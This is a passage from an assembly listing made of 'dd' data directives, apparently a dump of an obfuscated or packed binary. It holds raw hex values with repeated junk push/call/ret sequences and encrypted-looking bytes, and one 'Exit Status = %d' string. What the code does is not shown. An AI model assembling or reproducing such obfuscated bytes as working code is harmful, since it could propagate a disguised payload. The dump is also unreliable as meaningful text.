9ABC1752h dd 0FCCA1A8Fh, 6A74451Eh, 0F0CC22F4h, 6DE95500h, 3ACC36C4h dd 1B8BB88Ah, 8BBBED53h, 0AAF94D12h, 0B8D712C7h, 747A5A4Eh dd 0DDAB26E4h, 3EBD4001h, 32C73A86h, 109EB6CFh, 9EACBD5Eh dd 98BC5853h, 0AFCC018Eh, 2D69584Eh, 0B3C031E5h, 63FE5103h dd 3DC10786h, 1C8CF5D9h, 90EEF856h, 0BABB571Ch, 0AED604C7h dd 637A1705h, 0A2CE2EFFh, 1A0Dh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2E6CE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0C0C9CB43h, 0D38B896Fh, 0A59D8BFCh dd 8B061E2Dh, 835A52C0h, 1E1D79BDh, 9750006h, 2B25BD83h dd 7400061Eh, 8B535013h, 1B8C0h, 9D8D0000h, 620AADCh, 585BD3FFh dd 2B25BD83h, 7400061Eh, 0B8535011h, 1, 0A98D9D8Dh, 0D3FF0620h dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0F60D3C3h, 58Bh, 0C6816600h, 0E381A024h dd 443DAEFh, 15958B61h, 8B061E20h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 7B1918ECh dd 0B5DEBB9Ch, 2A89BD89h, 14E8061Eh, 0E1000000h, 0F8092D86h dd 0B347CAA5h, 0BEB36144h, 0E09FA3F2h, 89A64BD1h, 1E315195h dd 12E95B06h, 0AE000000h, 5D2B79E2h, 0DA1E3DEFh, 0A27FA9ECh dd 3862A4F9h, 95BD838Bh, 61E19h, 1A6840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 6893D7C3h, 0BD016147h, 61E3021h, 29959D23h, 0BD83061Eh dd 61E1F25h, 6D840F00h, 0F000001h, 5260D6BFh, 5AD5D280h dd 1F25858Bh, 0EB81061Eh, 12B1A633h, 3E805h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 66FCCD59h, 90E54BBBh, 17EC26BBh, 5250500Fh, 0EE8h, 44A6C200h dd 9DB09DAAh, 4FD2DECEh, 0E987CD06h, 0Fh, 6E3A9AB5h, 0A3DFED5Ah dd 0A666FD3Ah, 5B3D8F60h, 9B2310Fh, 3390585Ah, 1E0DF195h dd 77858D06h, 89061E4Ch, 1E0DD585h, 11E906h, 5330000h dd 0DC6F6D15h, 3B10F976h, 0B8943DFDh, 502489AFh, 89DF8B66h dd 9D8B2404h, 61E0089h, 4C55858Dh, 0CE9061Eh, 40000000h dd 37539BFBh, 4023FB68h, 501285F7h, 4810Fh, 8B560000h dd 4895BD9h, 22B75624h, 0E99D0B5Ah, 0FF061E20h, 1E2BB995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 50EF84Ch, 315C2AC2h, 0E558589h, 0C483061Eh dd 0EB81660Ch, 858D03CCh, 61E4C55h, 411484BBh, 2EB25074h dd 0B7240489h, 6A026A33h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 1376C356h, 23A279CBh dd 0E8F55E99h, 0Fh, 0A3374469h, 0F87342D2h, 0CE6FEF9Fh dd 8BA81B18h, 1E02AD95h, 95FF5A06h, 688574h, 61B4F780h dd 4C8885C7h, 1061Eh, 0B5890000h, 61E04C9h, 0D68B6096h dd 0D78B5061h, 0AE896h, 62D0000h, 0BC65D5B3h, 6564A3F1h dd 0CFB70F60h, 13C59D29h, 5B61061Eh, 4C39B589h, 6A061Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0C7BC73C3h, 0BD09EF73h, 61E1BA5h, 2DBD83FCh, 1061E27h dd 55850Fh, 0B5310000h, 61E1695h, 0F05F883h, 4685h, 85952900h dd 0B8061E01h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7C35646h dd 2B599159h, 0E9CD9B7Dh, 13h, 0A80EE55Ch, 0EFA7E3D3h dd 68122787h, 0BB8AEE0Ch, 83ED56FCh, 1E0135BDh, 840F0006h dd 18h, 8E9h, 765EA800h, 7832EB3Bh, 0B8D2h, 9D8B0000h dd 61E1EB1h, 11E960h, 0D29B0000h, 0FEEE580Ah, 0B737387Eh dd 0C25F640Dh, 8BDC1A8Ch, 1E0E2D85h, 83F88A06h, 6A02C0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0D6EFD0C3h, 2B33EAFDh, 79958B9Fh, 89061E1Ah, 1E4C3185h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 76EE00BCh, 8B90840Bh, 1E0DD99Dh, 0FF00C606h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0ADC35747h dd 0D57D95BAh, 719D038Fh, 0C6061E2Eh, 1E204185h, 0F535306h dd 687h, 359D8B00h, 5B061E05h, 4E8h, 0B148D800h, 2820FFCh dd 8B000000h, 0BB6650D7h, 448B2CF2h, 0AFB60424h, 4489008Bh dd 5E90424h, 80000000h, 8F5D0B95h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 39585B51h dd 7CF7F148h, 63BA6603h, 0FF14B229h, 1E3291B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 3756365Bh, 4B21A715h, 5CBA01D6h, 8D4D73C8h, 2178D185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 5BF8512Ch, 233D8531h, 0D0FF061Eh, 1D35B589h dd 9D8B061Eh, 61E2995h, 26C18589h, 800F061Eh, 0Ah, 5E9h dd 91FAF900h, 0BD834874h, 61E096Dh, 6850F01h, 89000001h dd 1E214D9Dh, 6A6106h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0ECCA48C3h, 85C665B9h, 61E2041h dd 0B1B53145h, 68061E1Fh, 82DACEC9h, 17880Fh, 52500000h dd 605395BAh, 0E8310F7Bh, 6, 0FEB4F739h, 5A5A00E4h, 24348158h dd 58BAF60Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 8C35747h, 0D935C571h, 28C85101h, 2C05BD89h, 0B5FF061Eh dd 61E3291h, 1D8D0B60h, 0B9061E22h, 4162488Dh, 0DB816661h dd 858DC042h, 62178D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0CCC35747h, 0C280A077h, 0A19D0190h, 0FF061E13h dd 79958BD0h, 6A061E22h, 0F3816600h, 0D0FF60E4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 73C35141h, 5D9589CDh dd 89061E04h, 1E045195h, 35BD8306h, 1061E2Ah, 0F0850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 6116B1C3h, 3B008F8Dh, 9D8BA00Dh, 61E1CB9h dd 0E2D858Bh, 9D89061Eh, 61E22D9h, 81E9h, 9E800h, 0F2D90000h dd 493370C4h, 8B0090AFh, 1E2CF595h, 0BB665B06h, 51504428h dd 18F2BA66h, 2404895Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 10C35242h, 9D8B04D4h, 61E1651h, 0BA66146Ah dd 95FF4E66h, 61E26C1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0F2C35141h, 33199D0Bh, 8166061Eh, 584CA6DBh dd 192D9D2Bh, 3880061Eh, 8F850F00h, 6AFFFFFFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 6D0FC352h, 958B8591h, 61E1B91h, 800100C6h, 666144EBh dd 8320E6BAh, 1E0301BDh, 840F0006h, 52h, 0DABF0F60h, 6159FC50h dd 0BD89FF6Ah, 61E0DB5h, 26C195FFh, 2BB2061Eh, 0FFFFEBE9h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 45665A31h, 0E01170B2h, 0E0816660h, 6E9D469h dd 98000000h, 0E4F6A16h, 85C76172h, 61E0301h, 1, 0AE860h dd 4E7F0000h, 12D43639h, 415ECDE7h, 58CE8B66h, 3319BD89h dd 8961061Eh, 1E4C3D85h, 0C9858906h, 90061E1Dh, 0B2504CB2h dd 6A90FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 609529C3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 9AC35545h, 6A056AE4h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 496AC356h dd 74DA8130h, 8D705718h, 1E4C5585h, 11E906h, 0F9F20000h dd 0A8CE3FD4h, 0D3F9CB93h, 0F1F8C5A2h, 90665B07h, 1BA86ABAh dd 0E950504Eh, 0Ch, 0A9E0F02h, 0F6020CBCh, 0F3D1F8A5h dd 840F905Bh, 6, 9F99D89h, 958B061Eh, 61E31D9h, 4C45858Dh dd 9D8B061Eh, 61E2BB5h, 24048950h, 0BA59EB81h, 95FF7DBEh dd 61E1EE5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 45C35747h, 0D86C1DAh, 14E9h, 4C070C00h, 0ECFAA286h dd 7EFCA3C9h, 0D7ABEDAEh, 0A765CED2h, 8A8D8D71h, 80061E7Ah dd 0C00B40EBh, 858D1174h, 61E4C55h, 89D1FF50h, 1E4C7385h dd 0C70AEB06h, 1E4C7385h, 0FFFFFF06h, 53006AFFh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 8D40D9B2h, 57006AF8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0B38F3662h, 6A610Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 31524DC3h dd 1E0D55BDh, 85C65B06h, 61E2041h, 68B0F4Dh, 8B000000h dd 1E1D999Dh, 4E806h, 76A80000h, 0CE9A435h, 1E000000h dd 0D7217B2Ch, 0C8AE73F8h, 50B218FFh, 448BF8B6h, 8F0F0424h dd 26h, 14E85250h, 99000000h, 0DD4F8F82h, 0EC4410FCh, 0E5BD6273h dd 35181885h, 5B7D1CBEh, 5250310Fh, 585A310Fh, 8B585Ah dd 4244489h, 6890Fh, 66560000h, 5BC086BBh, 0D5958958h dd 0E8061E16h, 7, 50777C2Bh, 60EE4810h, 95E4B866h, 5A616160h dd 2A65B5FFh, 9523061Eh, 61E128Dh, 78D1858Dh, 6A0621h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 838803C3h, 8B4355E0h, 1E233D9Dh, 6AD0FF06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 4711C353h, 19C04300h, 81661413h, 0F9766EBh, 68Dh, 14E38100h dd 57182EE1h, 895BF98Ah, 1E31D585h, 0DBBF0F06h, 204185C6h dd 6A45061Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0B484C350h, 5468AF55h, 668C503Bh dd 481D08Bh, 222E1524h, 51006A02h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 9C36F1D9h, 21FFE7A4h dd 6810Fh, 95890000h, 61E024Dh, 3291B5FFh, 14E9061Eh, 0AB000000h dd 57EE2329h, 48A5C651h, 3E7FD5EDh, 0B1E5A157h, 8D090B81h dd 2178D185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0F841678Dh, 0D68B6DADh, 13E9h, 0D1212D00h dd 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh, 3C43DC0Ah, 9D89D0FFh dd 61E3045h, 13758589h dd 9589061Eh, 61E20DDh, 0BB66D28Bh, 8C66FE5Eh, 29B509D9h dd 29061E04h, 1E12A595h, 4C1F606h, 202840Fh, 958B0000h dd 61E15F5h, 126E9h, 7E900h, 0CA640000h, 0DD788360h, 7DB58B7Fh dd 6A061E22h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 9D73C350h, 0BD897A9Fh, 61E2211h dd 32999D8Bh, 0C681061Eh, 1180h, 0BD83D08Bh, 61E18D1h dd 0E850F00h, 89000000h, 1E1E85B5h, 0A7E906h, 0DB800000h dd 3E83C8h, 9B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 830FB3C3h, 6, 20DB589h dd 0E960061Eh, 12h, 0E97F3612h, 11FC6C31h, 4B6757D4h, 79AA48ECh dd 146A3E23h, 6880Fh, 9D890000h, 61E2975h, 1F399501h, 95FF061Eh dd 61E26C1h, 5CC28166h, 6A61E1h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0F5378C3h, 38Ch, 0CF78000h dd 0FFFF6CE9h, 79B589FFh, 0F061E33h, 481h, 31BA6600h, 106C7B3h dd 60000000h, 0FE9h, 5FA45400h, 0FC23D702h, 0D3D87CFEh dd 483E3613h, 0BE9EBF66h, 83A9B661h, 1E4C3DBDh, 850F0506h dd 0C4h, 68C0Fh, 95890000h, 61E2CC1h, 1375B58Bh, 8E0F061Eh dd 3, 0B9D1BF0Fh, 64h, 2FB99D09h, 3E80061Eh, 15840FE8h dd 66000000h, 8B8989BBh, 1E19499Dh, 3FE906h, 9D8B0000h dd 61E1711h, 0C2057E80h, 53840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CDA2CBC3h dd 9A6D4E6Bh, 6660B9C2h, 0BEAE07B9h, 413DDAB5h, 89504661h dd 1E17CDBDh, 0F495A06h, 0FFFF9985h, 0DEB70FFFh, 2FE9h dd 7E900h, 0A9080000h, 0FBCFB43h, 4DB58928h, 6A061E03h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0A68EC356h, 0EB815758h, 25E51FE6h, 15BD835Bh dd 61E0Ah, 12C840Fh, 9D310000h, 61E0019h, 51006A60h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F534BE9Dh, 2B399589h, 85C6061Eh, 61E2041h, 1D88B54h dd 1E2735BDh, 8FB16806h, 12E9C69Ch, 82000000h, 0CD7AD2ABh dd 0F1ADF433h, 3832ABA2h, 0F41753FBh, 243481F1h, 39D23145h dd 15860F52h, 0E9000000h, 10h, 6BB8E070h, 2BD1C04Bh, 9EF1B1B5h dd 11E0DF74h, 0E595895Bh, 0FF061E09h, 1E3291B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0EAAF0324h, 0BD89A3CDh, 61E2E69h, 78D1858Dh, 6A0621h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 2724EDC3h, 0FF2DB7A9h, 0DE8D0h, 0E6870000h, 0D7450D1Eh dd 9649183Ch, 601CAEBFh, 5A61F38Bh, 8D89006Ah, 61E092Dh dd 0A15B5FFh, 39B3061Eh, 8589D0FFh, 61E1909h, 57006A61h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 5A170912h, 3E48C00Ch, 85C7F56Ah, 61E0259h, 1, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A9C35242h, 9503D74Fh dd 61E2E39h, 1F4D9D8Bh, 6A60061Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E098C355h dd 53BB810h, 0B70FB8ADh, 0DE8B53DBh, 7DC1685Bh, 481B935h dd 0CA82BF24h, 6AB5B746h, 99509FFh, 0FF061E14h, 1E327195h dd 9D852906h, 61061E23h, 499D8B60h, 89061E2Bh, 1E1AA19Dh dd 0F506106h, 583h, 0BA98BA00h, 4892008h, 51006A24h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0C5E68C8Eh, 995F41E4h, 9D8BA992h, 61E0281h, 0E01858Bh dd 0BB66061Eh, 0AE9DE92h, 29000000h, 9A8C4255h, 6F0FD98Bh dd 0FC00BEEh, 1184h, 0C3816600h, 95FF026Ah, 61E05BDh, 5D9D2Bh dd 85C7061Eh, 61E2A41h, 1, 83D78B66h, 1E220DBDh, 840F0006h dd 31h, 1FC19D8Bh, 95FF061Eh, 61E1BF1h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 1CC35343h, 0F3D6602h dd 59BA6603h, 69BD83FDh, 61E32h, 12840Fh, 958B0000h, 61E32C9h dd 1D995FFh, 958B061Eh, 61E2BD5h, 2399BD83h, 0F00061Eh dd 2884h, 3810F00h, 80000000h, 0BD839AEBh, 61E1AF5h, 12850F00h dd 9000000h, 1E2F799Dh, 2D95FF06h, 89061E15h, 1E0EA58Dh dd 0EDBD8306h, 61E00h, 27840Fh, 958B0000h, 61E15E5h, 0CE98581h dd 4003061Eh, 5E90000h, 2D000000h, 6C9E99E3h, 0D198581h dd 4003061Eh, 0D7800000h, 6A310F01h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 8A97C357h dd 0DE9BAh, 13E20000h, 0BC7679B7h, 0FB0D2C78h, 89CB3B16h dd 1E1949B5h, 0EC8D8D06h, 89061E5Ch, 56006A01h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0BCEA3CA9h dd 6051ABECh, 33B58509h, 0E18A061Eh, 81605B61h, 5ACB56C8h dd 4D9D312Bh, 61061E33h, 0D18AC233h, 6A044189h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 2962C350h, 1E1CC585h, 6A310F06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0C47C356h dd 8D08EA80h, 1E5D008Dh, 0D5BA6606h, 6A0189CDh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 89F5C355h, 1E04318Dh, 0E9C23306h, 0Fh, 962ADCE3h, 1611AE1Ah dd 1F990281h, 8901FA09h, 9D330441h, 61E2C79h, 235BD83h dd 0F00061Eh, 6684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0CE38AF21h, 0FFFC9193h dd 1E04C595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 66980DC3h, 0F9670BAh, 1680h, 11E900h dd 0D1990000h, 1CB53C22h, 97A8A2h, 83EDB673h, 83470177h dd 1E22B9BDh, 850F0106h, 98h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 3DC35141h, 29672D0Ch, 1E0CCDBDh dd 6EE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0EF22BC3h, 9D8B96BFh, 61E2739h dd 5EC5B58Bh, 6C7061Eh, 0 dd 5C47B58Bh, 6C7061Eh, 0 dd 6AF9CFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0D3819BC3h, 72EF1AA2h, 68E0Fh, 0E2810000h dd 4A344BF8h, 2A41BD83h, 0F00061Eh, 16784h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 62F268Dh, 6CF6FBADh, 836EB27Bh, 1E01C5BDh, 850F0106h dd 124h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 79C35040h, 85388CE8h, 373AC3Dh, 1E21C99Dh, 318D8B06h dd 53061E4Ch, 0BE9h, 70992D00h, 65C611BEh, 2E650F2Fh, 0DE95Ah dd 76C40000h, 433B4E11h, 0AD6E2CDh, 0C6E0A264h, 6A0001h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 60DB96C3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 1CC35646h, 36A1D62Bh, 1E5958Bh, 6168061Eh, 0B66F4B0Bh dd 24348134h, 6F4B0BE1h, 0E8D0Fh, 8B600000h, 1E2729BDh dd 25858B06h, 61061E0Dh, 830FFF6Ah, 3, 0FF65DF80h, 1E327195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0E9610ABDh, 13h, 1538FCC5h, 0B674A7A2h dd 73577068h, 13ACDDFFh, 66E187D9h, 0FF109ABAh, 1E1CF595h dd 2FBA6606h, 318D8BCBh, 0BB061E4Ch, 36E34E60h, 958901FEh dd 61E26D9h, 2ED5BD83h, 0F01061Eh, 385h, 0DEBF0F00h, 9589C08Bh dd 61E2EADh, 15519D89h, 0BD83061Eh, 61E1D79h, 83097500h dd 1E2B25BDh, 1A740006h, 0C08B5350h, 0CE9858Bh, 8589061Eh dd 61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h, 0BD83585Bh, 61E2B25h dd 50187400h, 0E9858B53h, 89061E0Ch, 1E0CE985h, 299D8D06h dd 0FF0620A9h, 2B585BD3h, 1E05C995h, 0E59D8B06h, 80061E2Dh dd 0C08BD8EFh, 0F9FFBB66h, 2A41BD83h, 0F00061Eh, 1685h dd 0DFBF0F00h, 0ADBD83h, 0F00061Eh, 684h, 0ED9D8B00h, 83061E04h dd 1E2A41BDh, 840F0006h, 62h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0AFC35242h, 0D3AC9D2Eh, 83E70B87h dd 1E20C1BDh, 840F0006h, 32h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0AEC35040h, 8D0F2D8Bh, 6, 2749958Bh dd 8B53061Eh, 1E17A99Dh, 0BD835B06h, 61E2A41h, 2A840F00h dd 52000000h, 526561BAh, 0BD835B5Ch, 61E20C1h, 16840F00h dd 0E8000000h, 0Fh, 6B03805Eh, 0E456E5F4h, 0B53F6118h dd 0FC5F101Dh, 41BD835Ah, 61E2Ah, 14840Fh, 9D030000h, 61E0CB9h dd 1E01BD83h, 0F00061Eh, 184h, 0BD83FC00h, 61E2A41h, 99840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 653AC352h, 10BAE66Bh, 7EB23F32h dd 10E8h, 0D953E500h, 269C9847h, 0FC030318h, 0AA54B0DEh dd 14E9CDh, 5C080000h, 15E54DAFh, 0CA79E34Dh, 0B6024CE3h dd 7A041FBEh, 835A060Fh, 1E29E9BDh, 840F0006h, 38h, 5ADA8A51h dd 2C1D95FFh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0AABCA8C3h, 0DFBF0F45h, 6850Fh dd 958B0000h, 61E14FDh, 8D0FC08Bh, 3, 8361E680h, 1E1D79BDh dd 9750006h, 2B25BD83h, 7400061Eh, 8B53501Ah, 19858BC0h dd 89061E0Dh, 1E0D1985h, 0A19D8D06h, 0FF0620ACh, 83585BD3h dd 1E2B25BDh, 18740006h, 858B5350h, 61E0D19h, 0D198589h dd 9D8D061Eh, 620A942h, 585BD3FFh, 6890F60h, 8B000000h dd 1E2D619Dh, 61858906h, 61061E1Eh, 14880F50h, 0E9000000h dd 0Fh, 0E5B2985Dh, 1E4A8804h, 15483DC9h, 5AFD1972h, 8B66C08Bh dd 41BD83D0h, 61E2Ah, 4EA840Fh, 8C0F0000h, 2, 0E281EEB2h dd 6669A7A4h, 96DBD83h, 0F02061Eh, 1084h, 0BD83F500h, 61E22B9h dd 2850F01h, 8B000000h, 3DBD83D3h, 61E0Ch, 0A5840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 8F1B8DC3h, 6EB0F8CEh, 0E824BB30h, 950B79C9h, 61E0E55h dd 0DAB70F60h, 4C318D8Bh, 9D8B061Eh, 61E07ADh, 0EE852h dd 0DC090000h, 19C9D288h, 0E3B2D69Ah, 0FCAA9DF4h, 5B5B6160h dd 9D0B01FEh, 61E1F65h, 11728468h, 9E842h, 2ADA0000h, 1567D184h dd 8A577E57h, 34815AF7h, 11720424h, 0C99D8B42h, 6A061E2Bh dd 91BD29FFh, 0FF061E20h, 1E327195h, 0B1858906h, 8B061E2Bh dd 1E0CC19Dh, 9D896106h, 61E0455h, 60EFD680h, 7E14E2BBh dd 318D8B4Ah, 6A061E4Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 21C6C350h, 6810Fh dd 85890000h, 61E197Dh, 6A01FEh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0E8F74DC3h, 634D958Ah dd 8A78D84Bh, 2E1E68F9h, 0CE9D191h, 0E8000000h, 0DCBA1AFAh dd 0CAE837D3h, 81DFE28Ch, 0D2622404h, 8B522E6Eh, 0FF6A5BD8h dd 9014BB66h, 327195FFh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0EB36E6C3h, 8023BBEFh dd 65958B5Eh, 8B061E14h, 1E22D195h, 0AE96106h, 66000000h dd 0ECC0D07Eh, 0AD69056Fh, 0EDBD8DD4h, 8B061E20h, 1E222195h dd 1C4F8B06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 7CC35141h, 0FCAFB61h, 68Ch, 398D8900h, 6A061E29h dd 498D8901h, 50061E2Fh, 0C89D38Bh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0B92FFFF5h dd 5E8h, 1A296000h, 0E3B2EBD7h, 0E3D2815Ah, 8D531FF4h dd 2137AE85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 88A82DFFh, 92654B8Eh, 13E9h, 8CBE2500h dd 53100136h, 74ACD05Ah, 0CA232565h, 0C5545175h, 0FF16DE80h dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0F90882E8h, 4F4C8EBAh, 0E79FBA5Bh, 4F8B4B2Dh dd 0AE920h, 0EBD60000h, 274FF94Fh, 207CA66Ah, 958B036Ah dd 61E1D85h, 5870F50h, 0BB000000h, 466B2117h, 56240C89h dd 0FE9h, 9C62E000h, 0A20BA410h, 311CD28Dh, 0FD0CED49h dd 0AE858D5Bh, 29062137h, 1E140995h, 89D0FF06h, 1E04419Dh dd 0EDBD8D06h, 6A061E20h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 66CBC350h, 4CC1DB81h dd 68EA8166h, 1C4F8BF0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 6BC35242h, 863D27F8h, 0D1858971h, 6A061E2Fh dd 53006A01h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 1DEB0C53h, 0B651E7B6h, 158589C3h, 66061E1Ah dd 5077FFBBh, 0C8915B2h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 89D12C9Ch, 1E1EFD95h dd 0AE858D06h, 6A062137h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 7369C351h, 41E9EF49h dd 9503B06Ah, 61E035Dh dd 15299D89h, 0D0FF061Eh, 8BA8EE80h, 204F8BD8h, 89036AF8h dd 1E32EDBDh, 45B39106h, 91D68B50h, 0AE858DFCh, 3062137h dd 1E202995h, 8AD0FF06h, 318D8BD0h, 52061E4Ch, 1FE5BF5h dd 21B5BD89h, 858B061Eh, 61E4C31h, 1415B589h, 0FE061Eh dd 819D8Bh, 16A061Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 50C35343h, 0F22E6A3Fh, 6E6881B3h, 8BEC0FC0h dd 240481D8h, 13EFDF91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 21C35343h, 8B4CC36Dh, 1E079D9Dh, 0BD095706h dd 61E22B1h, 0B8858D5Bh, 6A062137h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D9E5C356h dd 323B2F11h, 31259D8Bh, 0E860061Eh, 13h, 0F358C5C2h, 5C4F285Ch dd 591D7424h, 80AFF9EFh, 0E85F096Ah, 0Dh, 54DD37AEh, 342F44A1h dd 785ED287h, 61595A6Eh, 0E956D0FFh, 0Fh, 45048049h, 2E402438h dd 0AAA51868h, 5AE9ED14h, 0ADBD83h, 0F00061Eh, 10484h dd 5BD8900h, 83061E15h, 1E272DBDh, 850F0106h, 0F1h, 2285958Bh dd 8D8D061Eh, 62137C2h, 11E960h, 66FA0000h, 0E635B0E5h dd 69CA5FDCh, 0F9E7CE84h, 6611F4F7h, 551E281h, 6A036A61h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 9A99C350h, 1CDDB589h, 0DE8B061Eh, 0EE8016Ah dd 0C0000000h, 179FB02Fh, 5DC21660h, 0ED7C7A0h, 0DA8166CAh dd 0B35AC65Eh, 29D1FF51h, 1E26D9BDh, 0E9016A06h, 7, 